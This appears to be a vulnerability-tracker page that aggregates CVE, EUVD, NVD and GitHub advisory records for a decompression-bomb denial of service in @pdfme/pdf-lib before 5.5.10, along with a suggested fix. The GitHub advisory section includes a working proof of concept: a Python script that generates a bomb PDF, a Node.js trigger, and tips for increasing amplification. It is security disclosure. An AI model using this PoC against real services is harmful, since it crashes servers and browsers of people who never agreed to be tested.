pdfme pdf-lib before 5.5.10 Denial of Service via Decompression Bomb
Collected exploitation and prediction evidence
Risk source coverageCISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.
No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.
cve-program · CVE-2026-82864
Publishedpdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.
- Source published
- 31 Aug 2026 08:46:35 UTC
- Source modified
- 8 Oct 2026 15:25:39 UTC
- Observed here
- 23 Oct 2026 15:48:27 UTC
- Source terms
- CVE Program Terms of Use
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1 · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
euvd · EUVD-2026-68399
Publishedpdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.
EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.
Original publisher date fields
datePublished: Aug 31, 2026, 8:46:35 AM
dateUpdated: Oct 8, 2026, 3:25:39 PM
- Source published
- Aug 31, 2026, 8:46:35 AM (timezone not stated)
- Source modified
- Oct 8, 2026, 3:25:39 PM (timezone not stated)
- Observed here
- 9 Nov 2026 16:04:59 UTC
- Source terms
- ENISA EUVD · source terms and attribution apply
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.
EUVD CVSS 4.0 · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
nvd · CVE-2026-82864
Publishedpdfme pdf-lib versions before 5.5.10 contain an unbounded buffer growth vulnerability in the DecodeStream.ensureBuffer() method that allows attackers to cause denial of service by supplying a crafted PDF with a FlateDecode stream containing a decompression bomb. Attackers can upload a small compressed PDF that decompresses to hundreds of megabytes, exhausting memory and crashing the Node.js process or freezing browser tabs during PDF parsing.
NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.
Source analysis status: Deferred
Weakness classifications: CWE-409
Original publisher date fields
published: 2026-08-31T09:17:06.957
lastModified: 2026-10-08T16:17:53.423
- Source published
- 31 Aug 2026 09:17:06 UTC
- Source modified
- 8 Oct 2026 16:17:53 UTC
- Observed here
- 25 Oct 2026 16:19:10 UTC
- Source terms
- NIST NVD usage terms; underlying source attribution retained
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS 4.0 · [email protected] · Secondary · 7.1 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1 · [email protected] · Secondary · 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
osv · GHSA-vrqm-gvq7-rrwh
Published## Summary The `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts. ## Details The vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression). **Unbounded buffer growth in `ensureBuffer()`** — `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`: ```typescript protected ensureBuffer(requested: number) { const buffer = this.buffer; if (requested <= buffer.byteLength) { return buffer; } let size = this.minBufferLength; while (size < requested) { size *= 2; // Doubles with no upper bound } const buffer2 = new Uint8Array(size); // Allocates without limit buffer2.set(buffer); return (this.buffer = buffer2); } ``` The `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory. **Unconditional full decompression in `decode()`** — `DecodeStream.ts:139-141`: ```typescript decode(): Uint8Array { while (!this.eof) this.readBlock(); // Fully decompresses before returning return this.buffer.subarray(0, this.bufferLength); } ``` **`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression — `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`: ```typescript if (pos + 1 >= limit) { buffer = this.ensureBuffer(pos + 1); limit = buffer.length; } ``` And again at line 297-300: ```typescript if (pos + len >= limit) { buffer = this.ensureBuffer(pos + len); limit = buffer.length; } ``` **Entry point via `basePdf`** — `packages/generator/src/helper.ts:42-43`: ```typescript const willLoadPdf = await getB64BasePdf(basePdf); const embedPdf = await PDFDocument.load(willLoadPdf); ``` The `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` → `DecodeStream` with no size limits. The same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`. ## PoC **Step 1: Create a decompression bomb PDF** ```python #!/usr/bin/env python3 """Generate a PDF decompression bomb for PoC.""" import zlib import struct # Create highly compressible data: 100MB of null bytes # compresses to ~100KB (~1000:1 ratio) uncompressed = b'\x00' * (100 * 1024 * 1024) # 100 MB compressed = zlib.compress(uncompressed, 9) # Minimal PDF structure with FlateDecode stream pdf = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >> endobj 4 0 obj << /Filter /FlateDecode /Length """ + str(len(compressed)).encode() + b""" >> stream """ + compressed + b""" endstream endobj xref 0 5 """ # Write proper xref (simplified for PoC) with open("bomb.pdf", "wb") as f: f.write(pdf) f.write(b"trailer << /Size 5 /Root 1 0 R >>\nstartxref\n0\n%%EOF\n") print(f"Compressed size: {len(compressed)} bytes") print(f"Decompressed size: {len(uncompressed)} bytes") print(f"Ratio: {len(uncompressed)/len(compressed):.0f}:1") ``` **Step 2: Trigger via @pdfme/generator** ```javascript const { generate } = require('@pdfme/generator'); const fs = require('fs'); const bombPdf = fs.readFileSync('bomb.pdf'); // This will cause unbounded memory allocation during PDF parsing generate({ template: { basePdf: bombPdf, // Attacker-controlled input schemas: [[]], }, inputs: [{}], plugins: {}, }).catch(err => console.error('OOM or crash:', err.message)); ``` **Step 3: Observe memory exhaustion** ```bash # Monitor memory usage — the Node.js process will consume all available memory # and either crash with a heap allocation failure or be OOM-killed node --max-old-space-size=512 trigger.js # Expected: "FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory" ``` For higher amplification (e.g., 10GB decompressed from ~10MB compressed), nest multiple FlateDecode layers or use a larger null-byte payload. ## Impact - **Denial of Service**: Any application using `@pdfme/generator` or `@pdfme/ui` that allows users to supply PDF templates is vulnerable to memory exhaustion. A single crafted PDF can crash the Node.js process or freeze the browser tab. - **Server-side impact**: In server-side PDF generation pipelines, this can take down the entire service. The ~1000:1 amplification ratio means a ~100KB upload can force allocation of ~100MB+ of memory, and larger ratios are achievable. - **Client-side impact**: In browser-based usage (Designer/Form/Viewer components), loading a malicious template freezes the tab and may crash the browser process. - **No authentication bypass needed**: The attack only requires the ability to supply a `basePdf` value, which is the standard template input parameter — no elevated privileges are needed. ## Recommended Fix Add a maximum decoded size limit to `ensureBuffer()` in `packages/pdf-lib/src/core/streams/DecodeStream.ts`: ```typescript const MAX_DECODED_SIZE = 100 * 1024 * 1024; // 100 MB class DecodeStream implements StreamType { // ... existing fields ... protected ensureBuffer(requested: number) { const buffer = this.buffer; if (requested <= buffer.byteLength) { return buffer; } if (requested > MAX_DECODED_SIZE) { throw new Error( `Decoded stream size ${requested} exceeds maximum allowed size ${MAX_DECODED_SIZE}. ` + `This may indicate a decompression bomb.` ); } let size = this.minBufferLength; while (size < requested) { size *= 2; } // Cap the allocation even if the doubling overshoots if (size > MAX_DECODED_SIZE) { size = MAX_DECODED_SIZE; } const buffer2 = new Uint8Array(size); buffer2.set(buffer); return (this.buffer = buffer2); } } ``` Optionally, expose the limit via `PDFDocument.load()` options so consumers can tune it: ```typescript // In LoadOptions interface: interface LoadOptions { // ... existing options ... maxDecodedStreamSize?: number; // Default: 100 MB } ```
- Source published
- 20 Mar 2026 20:44:52 UTC
- Source modified
- 1 Sep 2026 03:55:43 UTC
- Observed here
- 24 Oct 2026 13:17:17 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Publisher rating · MODERATE